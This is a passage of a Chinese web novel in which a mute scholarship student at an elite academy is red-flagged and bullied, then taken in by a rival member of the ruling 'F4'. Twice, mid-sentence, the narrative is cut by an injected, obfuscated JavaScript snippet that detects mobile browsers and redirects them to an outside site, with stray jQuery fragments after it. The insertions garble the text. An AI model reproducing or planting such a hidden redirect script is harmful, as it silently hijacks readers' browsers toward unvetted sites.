F4的某人因为吃醋,所以给顾霜纯标红,但是标完就后悔了,在顾霜纯被欺负前及时赶到把人救下,两人感情反倒更加稳固。
倪知觉得这个剧情挺幼稚,那个标红的F4更是像小学鸡——
现在连小学生都知道不要用欺负人的方式来表达喜欢了!
没想到主角受的待遇,会落在他的头上。
顾霜纯作为主角,不会真的被欺负,但他这个反派炮灰,肯定不会有这么好的运气。
倪知的反应大大出乎温凌的意料:“你……你不想知道是哪个大人物给你标的红吗?”
其实温凌原本想问你不怕吗,但看倪知的样子,完全没在怕的,所以才临时改了口。
倪知还是那句话:“有什么区别?”
能在崇德被称为大人物,还有权利在校园暗网上给他标红的人,除了F4,还会有谁。
和他有交集的,又只有司一和席惟两个人,到底是谁,很重要吗?
迎着温凌错愕的表情,倪知向着他道了一声谢,感谢他来提醒自己这一句。
温凌无聊道:“算了,我也不是好心,就是想吓你一下。如果你害怕,我可以替你去求个情,算是还上次的救命之恩了。”
倪知:“求情没用。”
温凌咂舌:“你到底怎么惹到他了?”
倪知:“你说哪个他?”
温凌:……
所以他不只惹了一个?
温凌忽然有点后悔,自己跑来凑这个热闹了。
这个倪知,看起来乖乖的,没想到惹事的能力这么强。
温凌嘴角抽了抽:“那你自己小心点吧。实在不行,就来找我,我起码能让他们别太过分。”
这所学校,除了尤白羽,难得还有人愿意护着他。
倪知救他只是随手,并没有想过他会报答,现在听他这么说,对着他笑了笑。
温凌盯着他,突然莫名其妙问:“你为什么要戴这么丑的眼镜?”
倪知:“什么?”
“算了,没什么。”
温凌也觉得见了鬼。
上次看到倪知没戴眼镜的样子,那一幕太耀眼,弄得温凌做梦还梦到了。
可现在看到倪知,他又怀疑,会不会那天马背上的惊鸿一瞥只是错觉。
要是倪知愿意,他可以出钱替他换个造型,但维持原样也不错,这样就只有他知道倪知这幅灰扑扑的外表下,是多么迷人的内里……
自己脑子里怎么会突然蹦出这样的想法?
温凌有点疑神疑鬼,感觉自己可能真的是到了发丨情期,该找人谈个恋爱了。
不然怎么会想要把这个小哑巴私藏起来?
倪知忽然把手机递了过来。
屏幕上闪动一行字,温凌最先看到的,却是倪知的指,握在手机边框上,冷硬的金属材质反照出肌肤柔软的质地,细而直,光线下,白得有些晃眼,像是一簇簇的绣球花,透着清甜馥郁的香气。
温凌晃了一下神,才看清了那行字:“你考察了我,介不介意,我也考察一下你的实力?”
-
倪知虽然不在乎被标红,但“标红”对于崇德学院的其他学生来说,却是一件大事。
无数人议论纷纷,不光是暗网上,公开的论坛上就有不少人开贴,赌倪知多久会受不了求饶。
还有今年刚入学的新生,很天真地发问:“标红是什么意思,就是我们对他干什么都可以吗?”
下面有人回:“红名都是怪。只要不弄出人命,随便怎么玩。”
还有人很兴奋:“上一次有人被标红还是好几年前了,还以为我毕业之前看不到了呢。”
“那上个红名怪怎么样了?”
“哈哈,还能怎么样,骨头多硬,被全校折腾了一圈,还不是跪下了。”
——整个学校的氛围真的很丛林法则,人不是人,在他们眼里,已经成了可以群起攻之的“红名怪”。
就算平常没有表现出来,在这种气氛里面,内心里的恶意,也会借着群体的力量被释放出来。
“大家都这样。”
“法不责众。”
“要合群,不然欺负我怎么办?”
倪知的课表、所在的班级,他常去的地方、他的照片,全部被公开在网上,一览无余。
他像是新奇却并不珍贵的玩具,被展览、被窥视。
气氛绷得很紧,像是水温渐渐升高,沸腾着需要一个出口。
但整整一周时间,倪知却始终没有出现。
寝室里,尤白羽紧张兮兮地锁好门,又把窗帘拉紧,这才松了口气:“小知,还好你聪明,一直请假没去上课,不然真不知道他们要干什么。”
比起他的神经紧绷,倪知看起来却很从容,他的头发又长了一点,因为是在寝室,所以刘海随意地梳了上去,素的发、素的眼,整张素净的面孔,在昏暗的室内,澄澈如同被水洗过。
闻言,他安慰尤白羽:“不用担心,他们不敢进来。”
如果把在崇德的生活当做一场游戏,他现在成了红名怪,寝室就相当于安全区,走廊门厅都安装了监控,阴影之下做什么都可以,但明面上,这些公子哥们却也不敢公然挑衅校规。
“唉,真不知道是谁这么坏。可惜我们这些特招生进不了暗网,我问他们,也没人告诉我,到底是谁标的红。”
甚至还有其他的特招生,特意来劝告他,让他离倪知远一点,不要自己惹火上身。气的尤白羽把他们全删了。
他们这些特招生,本来就势单力薄,彼此之间还这么不团结,被欺负了谁会帮忙出头!
尤白羽过去嫉恶如仇,现在却有点恍然大悟,原来不是所有人都会挺身而出,大难临头各自飞才是常事。
他有点沮丧,但在倪知面前并没有表现出来。
倪知却问他:“你是不是和他们吵架了?”
尤白羽迟疑一下,倪知说:“不要为了我和他们吵架,不值得。”
尤白羽生气道:“怎么不值得!上次我打了韩麟,你也一直站我这边啊!”
倪知:“那不一样。”
“没有不一样!”尤白羽很固执,“在我心里,就是一样的。”
倪知失笑,尤白羽握住他的手,很认真说:“小知,我们是好朋友,这可是一辈子的事!”
尤白羽的手温暖柔软,倪知轻轻笑了起来。
穿书之前,他一直认为自己不需要朋友,只要有家人陪伴就够了,但现在听尤白羽这么说,却意外地觉得,这种有朋友的感觉也很不错。
上课时间快到了,尤白羽问倪知:“中午想吃什么?”
倪知却说:“不用替我带饭了,今天我自己去上课。”
“什么?”尤白羽吓了一跳,“那怎么行!标红还没被撤销呢!”
倪知站起身,随意地穿上外套,轻轻地吹了一口气,过长的刘海轻轻地飘起来,他戴上眼镜,笑了笑:“我如果一直藏在寝室里,标红永远不会被撤销。”
尤白羽顿了一下,眼睛一亮:“你已经想好怎么对付他们了?”
倪知点了点头。
如果是别人,尤白羽只会觉得是在安慰自己,可倪知这样说了,尤白羽莫名其妙就放心了:“这件事快点结束吧。不然我真怕哪一天,他们冲进来把你给抓走。”
倪知被逗笑了,尤白羽说:“那我们走吧?”
倪知却摇摇头,打手势示意他:“你留下。白羽,今天,我自己去上课。”
尤白羽诧异道:“为什么?”
倪知没有回答,他原本想要戴上尤白羽送他的围巾,想了想却又放了回去,只是打字说:“如果熄灯前我没有回来,不用替我留门。”
-
进入秋天,气温变化很快,只是一周没有出门,空气已经明显地冷了下去。
秋季的校服额外多了一件大衣,长度及膝,纯黑的底色,只在领口以金线点缀繁复花纹,穿在倪知身上,显得他腿长腰细,却又格外肃然冷峻,禁欲到令人浮想联翩。
倪知低着头,匆匆地走过小道,不用看也知道,明明暗暗的视线正落在他的身上。
这注定是很忙碌的一天。
从早到晚满课,不同系混上的大选修和小教室的专业课都有,能确保他一次性面对最多的人。
而他逃离大众视线了一个礼拜,就像是强行将临近沸点的水冷却下去。但水仍在一直加热,那些人也不可能会轻易放弃对他的玩弄,反而会在等待过程中,积累更多对于他的负面情绪。
现在,他出现了,那些情绪找到出口,在一天内,立刻汹涌地反扑而来。
写满了谩骂嘲讽的课桌、被藏起来的课本、划破的校服……
像是一场狂欢,倪知的一举一动都被人在校园网上发帖直播。
【谁在他课桌上写的字,不知道给我留点位置吗?都写不下了!】
【你们好坏,特招生只有一套免费校服,被划破就得自费买了。】
【哈哈哈,他的书被撕烂了扔下去的时候,他站在那里,看起来好可怜哦,像是要哭了。】
镜头里可以看得到一望无际的蓝天,校园内连绵的紫荆花树投下如云的影子,微风吹过,带来甜蜜清新的香气,叶羽摩挲,沙沙作响。
无数雪白的书页,自教学楼高处缓缓飘落,在风里凌乱地飞舞。
少年站在那里,抬着头,长长的发沿着肩膀落下,破旧褪色的镜框架在鼻梁上,只露出苍白清瘦的下颌,唇的颜色很淡,淡到有种不健康的黯,却很柔软,抿紧了,绷出平直的弧度。
看起来……真的很可怜。
无数嬉笑声透过镜头传了过来,所有人都对着他指指点点,却没有一个人愿意站出来,替他遮风挡雨。
奢华的休息室里,章之桓打个哈欠,看着屏幕上的倪知,有些百无聊赖:“我说,咱们还要看到什么时候啊?一个特招生而已,还标红,是不是太抬举他了?”
司一坐在那里,手里端着一杯威士忌,看到倪知站在那里孤零零的身影时,手指在酒杯上收紧,用力过大,指尖微微发白。
听章之桓这么说,司一冷冷地问:“你什么意思?是觉得我标红有问题?”
章之桓比他年纪大,不和他计较:“好好好,我没意思。这个小特招生惹了你,你标红是应该的,要不要我再添把火?”
司一没说话,一向事不关己就极为寡言的韩麟忽然道:“这是司一的猎物。”
这话说得很巧妙。
章之桓本来是想让人去再给倪知找点麻烦的,毕竟就这么小打小闹,是真的很无趣。可韩麟这么说,章之桓反倒不好插手了,不然显得好像自己要和
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14957805|161005||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
司一抢着出风头一样。
章之桓意外地看了韩麟一眼,有点弄不清楚,他是怕自己也欺负倪知,还是纯粹随口说说。
有意思。
惹到了席惟全身而退,司一标红了他,却不是纯粹的厌恶他,更像是……在赌气,连明哲保身的韩麟都替他开口说话。
现在章之桓是真的对这个小特招生有点好奇了。
推了推眼镜,章之桓笑道:“那你们继续玩吧,时间不早,我先走了。”
“确实无聊。”司一把酒杯放下,似是满不在乎,“我也去录歌了。”
屏幕上是几小时前录下来的内容,播放完毕后自动重复循环,司一目不斜视,余光却看到,原本重复的片段里,又多了新的内容。
这次是实时播放的画面。
天已经黑下去,教室里的人走光了,没有开灯,只有倪知站在黑板前,慢慢地擦去黑板上无数的污言秽语。
这是一间很大的阶梯教室,能够容纳近三百人,为了保证每个人都能看到板书内容,黑板的尺寸也是格外的高大。
倪知不矮,走在人群里,是可以鹤立鸡群的高度。现在他一个人站在黑板前,手臂机械地挥动,灰白的粉末落下来,沾得他的发梢领口都泛着霜白。
漆黑的教室,只有窗外反射进路灯的光,微微地照亮他的身影,巨大的黑板像是什么庞然大物,把他衬得格外渺小,他看起来很薄,像是一片纸,又好像是被揉皱褪色了的花瓣。
不知道谁把镜头拉近,能够清晰地看到,倪知的校服上破了很长的两道口子,质地精良的布料裂开,泛着被水湿透了的潮意。
“现在几点了?教室里的空调应该关了吧?”
司一没听出来是谁在说话,却下意识地想。
空调关了,那教室是不是很冷?
又有人说:“被水淋湿了怎么不走……是被锁在教室里了吗?哈,这么冻一晚上,肯定得大病一场。”
眉头紧皱,司一没有回头看一眼,就那么拉开门走了出去。
身后,章之桓笑道:“看来我们的王子没兴趣去救灰姑娘。阿麟,你呢?”
韩麟看着监控下的倪知,目光有些沉,闻言他下意识问:“我怎么了?”
“没怎么。”章之桓唇角翘着,饶有兴致说,“就是忽然觉得,这件事,还是挺有意思的。”
司一在学校里有一个专业的录音棚,花费了巨额资金,专门从国外请人来搭建,就是为了他心血来潮的时候,可以偶尔使用。
今晚其实不是一个录歌的好时间。
新专辑筹备了很久,司一始终没有定下主打歌,只有一些边角料,顶多当做点缀。公司隐晦地让经纪人问问司一,什么时候能够准备好,倒不是催他,只是粉丝那边压力太大,公司也快顶不住了。
别的明星怕经纪公司,司一却不怕——整个公司都是司家为他创办的,他在公司拥有绝对的掌控权,想不想发歌、想发什么歌,都是他自己一个人说了算。
前段时间,他隐约有了灵感,可这几天,灵感却又断了。
司一很难去判断,自己这几天这么暴躁,到底是因为写不出歌来,还是因为……
倪知。
章之桓问过他,为什么给倪知标红,司一只说倪知冒犯了他。
……但其实,他自己心知肚明,他就是生气,倪知居然敢二话不说,把他给拉黑了。
就好像,一点都不在意他会不会生气,对他一点留恋都没有一样。
监控里的画面在眼前闪过,单薄无助的倪知,孤零零地站在教室里,黑板像是巨大的黑洞,几乎要将他整个人吞没,而他抬起的手臂,衣袖微微垂落,露出一段雪白腕子,似是悬在崖边时,希冀抓住最后的稻草。
今年的冷风,来的似乎要更早,司一的视线漫无目的地划过窗外,看到地上,凝了一层霜花。
他忽然开口:“现在几度?”
司机连忙回答:“最低气温不到八度。”
不到八度,一个穿着湿衣服的小哑巴,孤零零被关在没开暖气的教室里,别人还能开口呼救,等着保安来开锁,他却连求救的声音都发不出来。
他被关在里面的时候,肯定刚下课,还没有吃东西……上次自己把他喊来,耽误了他吃饭的时间,他就差点低血糖晕倒……
“操!”司一低低地咒骂一句,“不去录音棚了,去二栋教学楼。”
车子无声地转了个弯,驶向了教学楼,到了门前还未停稳,司一已经推开车门,大步下车。
他后悔了!
倪知想拉黑他就拉黑,那个小哑巴,吃了那么多苦,性格古怪一点也正常,自己难道还能和他认真?
居然还一时冲动,把他标红,想要他来找自己……只要他打两句好听的给自己看,自己肯定立刻就把他的标红取消了!可他就是那么倔,宁可藏起来消失一个礼拜,也不愿意说一句软话……既然已经躲起来了,为什么今天又突然出现?!
他步履匆匆,太过急切,短短一段路程,居然微微带喘。
倪知所在的教室就在前面,保安得到消息也赶了过来,慢了司一两步,只能战战兢兢地顶着司一要杀人一样的目光开锁。
只是刚碰到门,门就轻飘飘地开了。
保安奇怪道:“门没锁啊?”
司一皱眉,推开保安迫不及待地进入教室。
可教室内空空如也,被锁在屋中的倪知,已经不见了踪影。
只有一件破了的校服外套静静地搭在椅背上,似是嘲弄着司一的晚来一步。
13. 13
13
当司一将视线从监控上移开,前往录音棚的同时,倪知也抬起头来,不易察觉地看了一眼悬在头顶的摄像头。
摄像头安静沉默,诚实地录下一切。
无论是他被嘲笑讥讽,被抢走课本、划破衣摆,被淋了冷水关在教室里……
事无巨细,全部都被拍摄下来。
而这,正是倪知需要的。
既然他做不到在司一面前继续扮演可怜无助的老实人,那就让这些人来帮助他——
被欺负、被霸凌,也是原主人设的一部分。
Ooc值下降得飞快,到了现在,已经从最初的60%降回了极为安全的10%,总算不会稍微有一点出格的地方,就要经受惩罚了。
现在……他终于不用继续忍耐这些白痴们又蠢又笨的霸凌游戏了。
倪知慢慢地放下板擦,修长的手指掸了掸袖上沾着的粉笔沫。
很多学校现在已经使用多媒体进行授课,就算板书,也用的是白板,崇德学院在这一点上却意外的古典,使用的仍是最传统的黑板和粉笔,两块黑板上下移动,上面写着的字句极为肮脏刺目,倪知饶有兴致地看了看,觉得崇德学院的学生不过如此。
羞辱人的话还是离不开下三路,想象力太过保守,攻击性有待增强。
所谓的贵族学院,培养出来的,本质上仍是一群上不了台面的小流氓。
羊毛材质的大衣原本极为保暖,被水打湿后,却沉甸甸地压在身上,在冰冷的空气里,有种结了冰的触感。
穿了比不穿还冷。
倪知脱下外套搭在一旁,双手合拢轻轻地呵了口气,找了个位置坐下。
教室前后大门都被锁着,手机没有信号,连原本应当二十分钟巡逻一趟的保安也始终没有出现。
这群大少爷,是铁了心要把他关在这里熬一晚上。
早知道,就不该任由他们把自己的全部课本都给撕了的。
起码留一本,现在也能解闷。
不过和无聊比起来,胃疼的感觉更为明显,倪知微微皱眉,一直姿态优美的背脊弯下去,手抵在胃部,想要找一个舒服一点的姿势。
书包里其实还有一袋糖,是上次司一扔给他的。
倪知却看也没看。
要不是因为司一,他的ooc值也不会飙升到60%,也就不用陪着这群人演这一出霸凌的戏码。
这个仇,他全都记在司一头上了。
头顶的摄像头亮着红灯,像是一只眼睛,始终凝视着他。
倪知趴在桌上,疼得额头冒出冷汗,红灯熄灭一下,像是有谁眨了一下眼,下一刻,有冷而悦耳的声音传来:“不舒服?”
倪知没力气抬头,当没听到。
那个声音笑道:“你求求我,我立刻就来救你。”
见倪知不动,那个声音很贴心地说:“忘了你不会说话了。这样吧,想要我来,你就举手示意一下。”
……
好吵。
胃疼本来就烦,这声音还一直喋喋不休,简直比系统的提示音还讨厌。
看看自己只有10%的ooc值,倪知决定挥霍一把。
监控里,能看到倪知趴在桌上,头埋在臂弯里,只露出一泓纤细白皙的后颈,在昏暗的教室里,莹莹地散发着幽微澄澈的光芒。
肩胛骨微微突出,在后背撑出蝴蝶一样的弧度,冬日的蝴蝶经不起风吹雪打,可怜得让人想要好好珍藏。
他会举手投降吗?
还是仍旧倔强到底。
像是一个谜,看起来简单的谜面,可倪知的心,却是最难解的谜底。
说不清更期待看到什么,摄像头长久地定格在同一个角度,明明是发号施令者,这一刻,却带着自己都没察觉的期待,等待着倪知的回应。
许久,倪知轻轻动了一下,坐直身子,看向摄像头。
监控的红灯闪烁不定,似是雀跃的心脏。
隔着镜头,两双眼睛静静地对视。
倪知慢慢地抬起手来——
而后,竖起一根中指。
雪白的手指纤细修长,形状漂亮,似是精美的艺术品。淡色的唇微微翘起,不驯地对着镜头露出一个略显嘲弄的笑容。
求他?
自己不管是这辈子还是上辈子,都没学过求人。
监控后的声音沉默下去,似乎被他的行为惊呆了。
倪知故意把中指多竖了一会儿,确保监控后的人能清清楚楚看到自己的回应,而后才优雅地放了下去。
他的态度表达得很清楚了,这下不会来打扰他了吧?
倪知小乌龟一样慢吞吞地换了个姿势,刚想把头埋回去,教室的大门突然被人推开。
门外,席惟同样身着崇德学院的制服外套,他身量很高,宽肩窄腰,天生的衣服架子,同样纯黑色的大衣穿在身上,有一种冰冷而盛大的矜贵,胸口处的校徽上,纯金打造的紫荆花微微闪烁,赋予唯一光芒。
幽邃深长的走廊上,感应灯一闪一灭,席惟的眉骨鼻梁高挺,轮廓优越,将橙黄色的光线一分为二,似是伦勃朗笔下的素描,轮廓线鲜明具体,带着旧日贵族式的矜持与冷峻,五官英俊到无可挑剔。
他手中的手机屏幕上,正显示着监控里的画面,四角的摄像头,全部聚集在倪知一个人的身上。
屏幕分成四份,每一个画面,都是不同角度的倪知。
似是一张网,被他盯上的猎物无处遁形,只能待在他的掌心。
听到声音,倪知缓缓抬起头来,看着席惟走向自己,而后在自己面前停下。
隔着一张课桌,席惟微微垂眸,英俊的面孔淹没在巨大的影中,唯独一双狭长眼睛,看过来时,亮而冰冷,那种神情,像是不带任何的感情,只是单纯地估量,面前的人能为自己带来什么样不同的情绪。
胃疼的感觉更重了。
倪知支撑着自己,微微扬起下颌同席惟对视。
不知道他来干什么,但……肯定不安好心就对了。
倪知对F4的所有人都抱着警惕,尽力不让自己显出虚弱来。
但他不知道,空旷昏暗的教室,他只穿着一件衬衫,肩颈瘦削,莹白的皮肤薄得可怜,下颌刚刚压在手肘里,现在泛着淡淡的潮红,像是被人掐过一样。
明明没有下雨,可空气里漂浮着湿漉漉的水汽,而他也像是被雨淋湿的小猫,从旁观者的角度来看,那样弱小无助,却还要张牙舞爪。
实在是——
非常有趣。
让人很想把他抱在怀里,试试看他还会怎么挣扎。
四目相对,席惟笑了一下:“看到我很意外?”
倪知静静看着他,想看他究竟要做什么。
离得近了,能够看到镜片之下长长的睫毛,湿漉漉的,仰着头的时候,长发像是流水一样从面颊上向着两侧滑落,雪白的面孔像是幽深漆黑的河流里,徐徐盛放的莲花。
香艳却又寂静。
镜头永远无法描摹最真实的美丽,唯有真切地站在面前,才能体会到那种摄人心魄的震撼。
席惟凝视倪知,来之前究竟是什么想法连他自己都想不起来了,这一刻看到倪知,他只是遵从自己的本能,俯下身来,将倪知从座位上打横抱起:“我说了,只要你举手示意一下,我就来救你。”
青年的手臂结实有力,发力时,肌肉形状修长流畅,漂亮得像是什么精雕细琢的艺术品,却没有丝毫懈怠的迹象,单手就将他抱在胸前。
——席惟居然特意空出一只手来,想要将他的眼镜摘下。
席惟的举动太过突然,倪知一时愣在那里,直到席惟漫不经心地拂开他的刘海,这才反应过来,将席惟的手拂开。
一回生二回熟。
上次他把席惟的手打开,ooc值猛蹿一大截,这次ooc值却纹丝不动。
……不知道该不该夸席惟适应得快。
好像已经习惯自己会随时对他动手了。
倪知刚要打字,席惟已经将手掌张开放在他的面前,倪知只顿了一下,就顺手在他掌心写字:“那不算。”
“怎么不算?”席惟笑了笑,“我说算就算。”
……
他是不是脑子有问题?
倪知无语,本来胃疼就烦,现在被席惟抱着,一句多余的话都不想和他讲,看起来很乖地缩在席惟怀中,其实偷偷把手指
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14957806|161005||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上的粉笔灰蹭到了席惟肩膀上。
席惟没有察觉到他的小动作,抱着他向外走:“如果我不来,你真打算在这里呆一晚上?”
被抱在怀里,能感觉到席惟身上洁净而冷淡的气息,令人联想到大雪覆盖下的皑皑紫荆花林,肃然而矜贵。手指箍在腰上,彼此贴近,席惟身上干燥温暖,令倪知的肌肤渐渐回温。
不得不承认……被公主抱不用自己走还挺舒服的。
身体没那么难受,倪知总算有力气继续演戏,装乖回答:“我被标了红,受惩罚也是应该的……”
席惟嗤了一声:“要我帮你把标红取消吗?”
同样都站在高处,有人在半山,有人却在山巅。无论是谁标的红,只要席惟愿意,都可以轻而易举取消。
其实这很有趣。
等级森严的贵族学院,一层高过一层,每个人都在压迫脚下的人,又要向着上位者摇尾乞怜。
怪不得会养出一群神经病。
倪知说:“不用。”
他做好了席惟会刨根究底的准备,可席惟居然没问,只说:“随你。”
教学楼外停了辆劳斯莱斯幻影,书里写,席惟在学校里最常开的是一辆限量款的布加迪威龙,午夜黑,九位数的造价,整个越港洲也只有这么一辆,现在看到是劳斯莱斯,倪知放心下来。
他不想坐低趴跑车。
硌屁股。
坐进劳斯莱斯宽大的皮质座椅中,倪知轻轻地舒了口气。
这一天对他来说不算太难,那些霸凌的小把戏在他眼里更像是拿来刷系统数值的捷径,但没吃饭导致的胃疼和低气温导致的寒冷却是货真价实的。
倪知有时候也觉得,自己的身体似乎有些过分孱弱娇气。
但……也没办法。
他是早产儿,降生后在保温箱内住了两个多月才勉强活了下来,所以一家人都对他格外小心翼翼,生怕他会一不小心夭折。
没想到穿书之后,这种体能也延续了下来。
说实话,过分有代入感了。
车子沿着小道一路往前,渐渐驶上山道,越过高大的黄铜对开大门,在一栋古堡似的建筑前停下。
古堡一面是陡峭的崖壁,能听得到海浪拍击山崖发出的碎裂声,从另一面放眼眺望,整个崇德学院尽收眼底,灯光星罗棋布,这里作为学院的最高点,却安静到了极点,那极富古典美的建筑外观,与其说是让人居住,更像是博物馆一样,适合被人参观欣赏。
席惟就住在这种地方?
倒是很符合古早小说里,主角攻应该有的派头。
……就是总感觉会闹鬼。
席惟推开门,转头看倪知一眼:“进来。”
他以为这个小哑巴又会和他抗议,没想到倪知很乖地就走了进来。
席惟挑了挑眉:“这么听话?”
倪知低着头,不易察觉地翻了个白眼。
他都快要冻死了,难道要站在门外和席惟吵架?
他又不傻!
随着两人步入,房间内灯光渐次亮起,里面和外面的装修风格一致,是极为奢华绮靡的古典装潢,巨大的水晶吊灯高悬,黑胡桃木地板散发着油润的木质香气,各种昂贵的装点,将整栋古堡点缀如所罗门王的宝库,最难得的是,没有丝毫暴发户的艳俗气质。
倪知扫了一眼,就收回了视线。
这里确实不错,但他见过的好东西太多,也就不过如此。
席惟忽然说:“客房在走廊尽头左手。”
倪知看他一眼。
这是要自己住下?
明明倪知觉得自己没有露出什么情绪,但席惟偏偏看懂了:“刚刚懒得送你了。或者现在你自己走回去。”
倪知不是那种不知好歹的人,无论席惟出于什么目的,毕竟将自己救了出来,倪知肯定不会再强求席惟特意送自己回寝室。
——那是主角受才有的待遇。
但!
但席惟说话也太欠揍了吧!
什么叫懒得送,司机开车,也能累到他吗?
倪知点了点头,低眉顺目地往客房走,路过席惟的时候,用力踩了他一脚。
席惟:……
14. 14
14
席惟“嘶”了一声,倪知装作惊讶地抬起头来:“不好意思席哥,我有点头晕。”
小哑巴鼻梁上的镜框歪了,露出的眼睛黑白分明,看起来水润无辜,一点坏事都干不出来。
席惟嗤笑一声:“下次再这样,我就当你是投怀送抱。”
切。
倪知装作被吓到了,手指颤颤地比了个手语。
席惟问:“什么意思?”
倪知打字:“诚挚的歉意。”
其实是骂他白痴。
倪知仗着席惟看不懂手语,随意发挥,席惟看他一眼,逆着光,眼里的情绪让人有点分辨不出来。
原作里形容他,就说他很难去捉摸。
如果放在古代,就属于那种君心莫测让人伴君如伴虎的狗皇帝。
可惜现在是法治社会了,就算是主角攻,也不能随便把人拖去砍头。
倪知毫无负担地进去客房。
外面,席惟脱下大衣,手忽然顿了一下。
肩上,留着三条灰白色的指痕,在黑底的布料上,格外分明。
席惟拿指尖轻轻捻了捻,想起刚刚故意踩了自己一脚的小哑巴,唇角翘了一下,随手把外套丢到一旁。
手机振动,群里章之桓正在问:“是你们把那个小特招生给带走了?”
韩麟最先回复。
【Kylin】:“怎么了?”
【Z2H】:“哈哈,司一刚刚去救那个小特招生,结果发现人没了。司一现在发疯,正在查监控呢。”
【阎定焱】:“?”
【世一】:“艹章之桓,就他妈你消息灵通是不是?”
【世一】:“@惟,你手里的监控录像给我看看。”
司一@席惟是在十分钟前,因为席惟没回,司一暴躁地@了十几次。
还是章之桓看不下去,出来问话。
【Z2H】:“你不是去保安处了吗?”
【世一】:“今天九点后,校内的摄像头检修。”
【Z2H】:“这么巧?”
席惟翻完聊天记录,漫不经心地打字。
【惟】:“不是巧。”
【惟】:“校长室发了内部公告,今天整个崇德的所有摄像头一起检修。”
【惟】:“你们没看?”
保安处里,司一坐在沙发上,整个人气压很低地看手机。半夜被喊来的保安处小领导站在一旁,听司一忽然问:“校长发话要检修摄像头?”
小领导连忙道:“是……每隔半年都要检修一次的,之前也都是这个时间。”
居然是真的。
司一本来有些怀疑,是不是群里的谁做的手脚,来遮掩倪知的行踪。可既然是每年的惯例,那看来纯粹是时间撞上了。
如果是这样,那个小哑巴又能跑去哪?
司一烦躁地起身,明明本来不想大动干戈,免得被所有人知道,他居然这么在意一个小小的特招生。可一想到这么冷的夜晚,倪知一个人不知道跑到哪里去了,司一就坐立不安,破天荒生出了担心和忧虑的情绪。
微信里,他还停留在黑名单里,至今没被倪知放出来,连问一句都做不到。
司一还是第一次感觉到这么清晰的无力感,好像遇到倪知之后,很多事情都脱了轨。
看着倪知微信头像里那只q版的小狐狸,司一手指右划,指尖悬在删除键上,许久,骂了一声,却到底没有舍得按下去,只是向着手下冷声道:“让人去给我找,找不回来,你们今晚都别睡了!”
-
窗外下了雨,温度骤然又降了几度。
房间内温度永远适宜,似是春日,桌上一株雪白的蝴蝶兰开得正盛,枝头盈盈,花簇微垂,衬着身后深酒红色的天鹅绒垂帘,似是油画般的质地。
席惟坐在电脑前,百无聊赖地和群里的人打游戏,枪战游戏,他们没什么配合,各自为营,跳伞落地之后就一人找了把枪进去单挑了。阎定焱战绩最好,几乎一两分钟就能拿一个爆头,席惟战绩一般,人头数永远控制在比最后一名多两个的程度。
耳机里,章之桓说:“缺个人啊,司一和阿麟都不玩,去喊个陪玩?”
阎定焱说:“他们明天打世界赛,今天不接单。”
席惟懒洋洋说:“你再去买一支战队不就行了。”
阎定焱:“大晚上的,我去哪买?”
身后响起细微的声响,门被轻轻推开,席惟转头,操控鼠标的手忽然停顿在了那里。
门外,倪知站在那里,穿着一身纯棉的日式浴衣,宽袖、窄腰,腰带系起来有些繁复,所以只被倪知随意一绑,走动间,斜插的衣襟微微敞开,修长的颈和倒扣玉碗似的锁骨,便肆无忌惮地露出一线艳色。
浴室里氤氲的水汽似乎也弥漫过来,带着白山茶清甜的气息,倪知的唇被热意蒸腾得嫣红柔软,长长的发被一条缎带松松地束在脑后,整张面孔铅华洗净,乌发红唇,清丽得令人心跳加速。
席惟的掌心忽然出了汗,几乎滑腻得握不住鼠标。
耳机里传来一声枪响,“砰”地一声,子弹射入心脏,游戏里的角色应声倒地。
章之桓惊讶道:“阿惟怎么被偷了?”
席惟喉结滚动一下,关上麦克风后,将耳机拽下。
门口的倪知已经走了进来,还在低着头拉扯腰带。
到底谁会在客房准备这种浴袍啊!
倪知被腰带弄得有点烦,索性不管了,抬头就看席惟正站在面前,目光沉沉地看着他。
席惟实在是太高大了,超过一米九的身高,肩宽腿长,在家里换了一件宽松的套头卫衣,明明看不到肌肉的线条,离得近了,仍旧给人很强的压抑感,像是他的影子,就能将人尽数包裹其中。
本能让人想要后退,但倪知只是睫毛轻轻颤动一下,便抬起眼睛,待在原地,平视向席惟:“怎么了?”
看着手机屏幕上的字,席惟这才反应过来自己干了什么,鼻端是倪知身上的香气,很淡,但很馥郁,在温暖的房间里,像是渗透进了四肢百骸。
目光垂落,凝固在倪知纤细修长的脚踝,席惟伸出手,像是想要触碰倪知,倪知刚要躲开,席惟的手却已经越过了他,拉开他身后的冰箱,俯身拿了一罐啤酒。
席惟问:“打游戏吗?”
倪知:?
还以为要说什么,弄得这么大阵仗。
倪知故意问:“什么游戏?”
席惟:“就是最近很火那个枪战。”
倪知:“嗯嗯。”
席惟:“玩?”
倪知装作可惜:“好遗憾,我没号。”
谁要半夜陪他打游戏。
装模作样的小哑巴。
席惟嗤笑一声:“一把一万。”
顿了顿,补充,“美金。”
来了来了,经典的阔少拿钱砸人桥段!
原作里,F4也经常干这种事,遇到任何事,直接拿钱砸就行了。
倪知穿书前虽然受宠,但是家教很严,零花钱不限,但从来没染上那些纨绔子弟的坏习惯,现在很有骨气地淡淡打字:“我很累了,想要休息。”
席惟没说话,但系统提示,ooc值上升了一点。
倪知这才回过神来,自己又在ooc了。
他一个下郡的小穷鬼,似乎表现得有点太富贵不能淫了。
